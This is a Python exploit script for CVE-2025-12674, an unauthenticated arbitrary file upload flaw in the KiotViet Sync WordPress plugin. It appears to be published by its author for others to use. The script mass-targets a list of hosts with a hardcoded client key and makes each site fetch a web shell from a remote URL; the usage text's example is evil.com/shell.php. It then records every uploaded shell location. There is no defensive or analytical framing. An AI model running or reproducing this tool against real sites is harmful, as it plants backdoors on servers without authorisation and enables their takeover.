KiotViet Sync Unauthenticated Arbitrary File Upload (CVE-2025-12674)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257

#!/usr/bin/env python3
# Author: Nxploited (Khaled Alenazi) | https://github.com/Nxploited | https://t.me/KNxploited

import threading
import requests
import time
import os
import sys
import re
from urllib.parse import urlparse
from datetime import datetime
from rich.console import Console
from rich.text import Text
from rich.panel import Panel
from rich.progress import Progress, SpinnerColumn, BarColumn, TextColumn, TimeElapsedColumn
from rich.align import Align
from rich.theme import Theme
from rich import box
from rich.table import Table

theme = Theme({
    "banner": "bold cyan",
    "github": "bold magenta",
    "telegram": "bold green",
    "nxsplit": "bold white on blue",
    "mainbox": "bold white on black",
    "author": "bold yellow",
    "usage": "bold green",
    "info": "bold magenta",
    "success": "bold white on green",
    "error": "bright_red",
    "warning": "bold white on red",
    "progress": "bold magenta",
})
console = Console(theme=theme)

os.environ['NO_PROXY'] = '*'

DEFAULT_THREADS = 10
DEFAULT_TIMEOUT = 16
OUTPUT_SHELLS_FILE = "shells.txt"
BACKUP_SUFFIX_FMT = "%Y%m%d_%H%M%S"
USER_AGENT = "KiotVietEx/1.0 (+https://github.com/Nxploited) Mozilla/5.0"

write_lock = threading.Lock()
counter_lock = threading.Lock()
counters = {"total": 0, "success": 0, "failed": 0}

def print_custom_banner():
    banner_art = (
        ".  .         .       .         . \n"
        "|\\ |         |     o |         | \n"
        "| \\| . , ;-. | ,-. . |-  ,-. ,-| \n"
        "|  |  X  | | | | | | |   |-' | | \n"
        "'  ' ' ` |-' ' `-' ' `-' `-' `-' \n"
        "         '                       "
    )
    github_account = "GitHub: https://github.com/Nxploited"
    telegram_account = "Telegram: https://t.me/KNxploited"
    nxploited_tag = Text("Nxploited KiotViet Exploit", style="nxsplit")
    body = Align.center(
        "\n".join([
            "",
            banner_art,
            "",
            github_account,
            telegram_account,
            ""
        ])
    )
    console.print(
        Panel(body, title=nxploited_tag, title_align='center',
              box=box.DOUBLE, border_style="mainbox", padding=(1,12), expand=True)
    )

def show_usage_box():
    usage = (
        "[usage]Usage:[/]\n"
        "1. Put target hosts in [bold]list.txt[/] (one host per line, e.g. example.com).\n"
        "2. Run: [bold cyan]python CVE-2025-12674.py[/]\n"
        "3. When prompted provide:\n"
        "   - Thread count (default 10)\n"
        "   - Remote shell URL (direct link to your shell, e.g. http://evil.com/shell.php)\n"
        "4. Successful shell uploads will be saved to [bold]shells.txt[/].\n"
        "5. For support contact: [bold magenta]@KNxploited[/] (Telegram)"
    )
    console.print(Panel(usage, box=box.ROUNDED, style="usage", border_style="green"))

def backup_output_file(path):
    if os.path.exists(path):
        ts = datetime.now().strftime(BACKUP_SUFFIX_FMT)
        bak_name = f"{path}.{ts}.bak"
        os.replace(path, bak_name)
        console.print(f"[info]Existing {path} backed up to {bak_name}[/info]")

def safe_write_shell_path(shell_path):
    with write_lock:
        with open(OUTPUT_SHELLS_FILE, "a") as f:
            f.write(f"{shell_path}\n")

def is_valid_url(u):
    try:
        p = urlparse(u)
        return p.scheme in ("http", "https") and bool(p.netloc)
    except Exception:
        return False

def normalize_target_host(host):
    host = host.strip()
    if host.lower().startswith(("http://", "https://")):
        p = urlparse(host)
        base = f"{p.scheme}://{p.netloc}"
        return base.rstrip('/')
    return f"http://{host.rstrip('/')}"

def chunk_targets(targets, n):
    if n <= 1:
        return [targets]
    chunks = [[] for _ in range(n)]
    for idx, val in enumerate(targets):
        chunks[idx % n].append(val)
    return chunks

def kiotviet_exploit(target, shell_url, timeout=DEFAULT_TIMEOUT):
    url = f"{target}/wp-json/admin/v1/query"
    headers = {
        "Content-Type": "application/json",
        "User-Agent": USER_AGENT
    }
    data = {
        "client_key": "dasdasd23423JFHDJKFHJD",
        "action": "create",
        "table": "kiotviet_sync_products",
        "ref_id": "0",
        "fields": {
            "products": [{
                "name": "NxShell",
                "type": "simple",
                "regular_price": "199.99",
                "raw_image_id": shell_url
            }]
        }
    }
    try:
        r = requests.post(url, json=data, headers=headers, timeout=timeout, verify=False)
        with counter_lock:
            counters["total"] += 1
        if r.status_code == 200 and (
            "{\"message\":\"OK\"}" in r.text or "\"message\":\"Done!\"" in r.text or "message\":\"OK" in r.text
        ):
            with counter_lock:
                counters["success"] += 1
            shell_dir = f"{target}/wp-content/uploads/{datetime.now().year}/{datetime.now().month:02}/"
            safe_write_shell_path(shell_dir)
            console.print(Panel(
                f"[success]✔ Shell uploaded![/success]\n"
                f"Check here:\n[bold]{shell_dir}[/bold]\n",
                box=box.DOUBLE, border_style="bright_green"
            ))
            return True, shell_dir
        else:
            with counter_lock:
                counters["failed"] += 1
            return False, r.text
    except Exception as e:
        with counter_lock:
            counters["failed"] += 1
        return False, str(e)

def worker_thread(thread_id, targets, shell_url, timeout, progress_task, progress):
    for t in targets:
        console.print(Panel(f"{t}\n[bold cyan]Trying KiotViet exploit...[/bold cyan]", box=box.ROUNDED, style="info"))
        success, info = kiotviet_exploit(t, shell_url, timeout)
        if not success:
            console.print(Panel(
                f"[error]Shell upload failed or not confirmed at {t}\nResponse/Error:\n{info}[/error]",
                box=box.ROUNDED, style="error"
            ))
        try:
            if progress and progress_task is not None:
                progress.update(progress_task, advance=1)
        except Exception:
            pass

def main():
    try:
        print_custom_banner()
        show_usage_box()
        console.print(Panel("[bold magenta]Press ENTER to continue to inputs...[/bold magenta]", box=box.SQUARE))
        input()
        list_file = console.input("[bold yellow]Enter targets file name (default: list.txt): [/]").strip() or "list.txt"
        thread_input = console.input(f"[bold yellow]Enter number of threads (default: {DEFAULT_THREADS}): [/]").strip()
        threads = DEFAULT_THREADS
        if thread_input.isdigit() and int(thread_input) > 0:
            threads = int(thread_input)
        shell_url = console.input("[bold yellow]Enter REMOTE SHELL URL (direct link): [/]").strip()
        if not is_valid_url(shell_url):
            console.print("[error]Invalid shell URL. Exiting.[/error]")
            sys.exit(1)

        if not os.path.exists(list_file):
            console.print(f"[error]Targets file '{list_file}' not found. Exiting.[/error]")
            sys.exit(1)

        backup_output_file(OUTPUT_SHELLS_FILE)
        with open(list_file, "r") as f:
            raw_targets = [line.strip() for line in f if line.strip()]
        targets = [normalize_target_host(x) for x in raw_targets]
        if not targets:
            console.print("[error]No targets found in the list. Exiting.[/error]")
            sys.exit(1)

        console.print(Panel(f"Loaded [bold]{len(targets)}[/] targets. Threads: [bold]{threads}[/].", box=box.ROUNDED, style="info"))
        chunks = chunk_targets(targets, threads)

        with Progress(
            SpinnerColumn(),
            TextColumn("[progress.description]{task.description}"),
            BarColumn(),
            TextColumn("{task.completed}/{task.total}"),
            TimeElapsedColumn(),
            console=console,
            transient=True
        ) as progress:
            total = len(targets)
            task = progress.add_task("[bold cyan]Exploiting KiotViet targets...[/]", total=total)
            thread_list = []
            for i in range(len(chunks)):
                if not chunks[i]:
                    continue
                th = threading.Thread(target=worker_thread, args=(i, chunks[i], shell_url, DEFAULT_TIMEOUT, task, progress))
                th.daemon = True
                th.start()
                thread_list.append(th)
            for t in thread_list:
                t.join()
        table = Table(title="Summary", box=box.SIMPLE)
        table.add_column("Metric", style="bold")
        table.add_column("Value", justify="right")
        table.add_row("Total attempts", str(counters["total"]))
        table.add_row("Successful shells", str(counters["success"]))
        table.add_row("Failed attempts", str(counters["failed"]))
        console.print(table)
        console.print(Panel(f"Uploaded shells folders saved in [bold green]{OUTPUT_SHELLS_FILE}[/bold green]", box=box.DOUBLE, style="info"))
    except KeyboardInterrupt:
        console.print("\n[error]Interrupted by user. Exiting gracefully...[/error]")
    except Exception as e:
        console.print(Panel(f"[error]Unexpected error:[/] {e}", box=box.ROUNDED, style="error"))
    finally:
        console.print("\n[info]Done. Press ENTER to exit...[/info]")
        try:
            input()
        except Exception:
            pass

if __name__ == "__main__":
    main()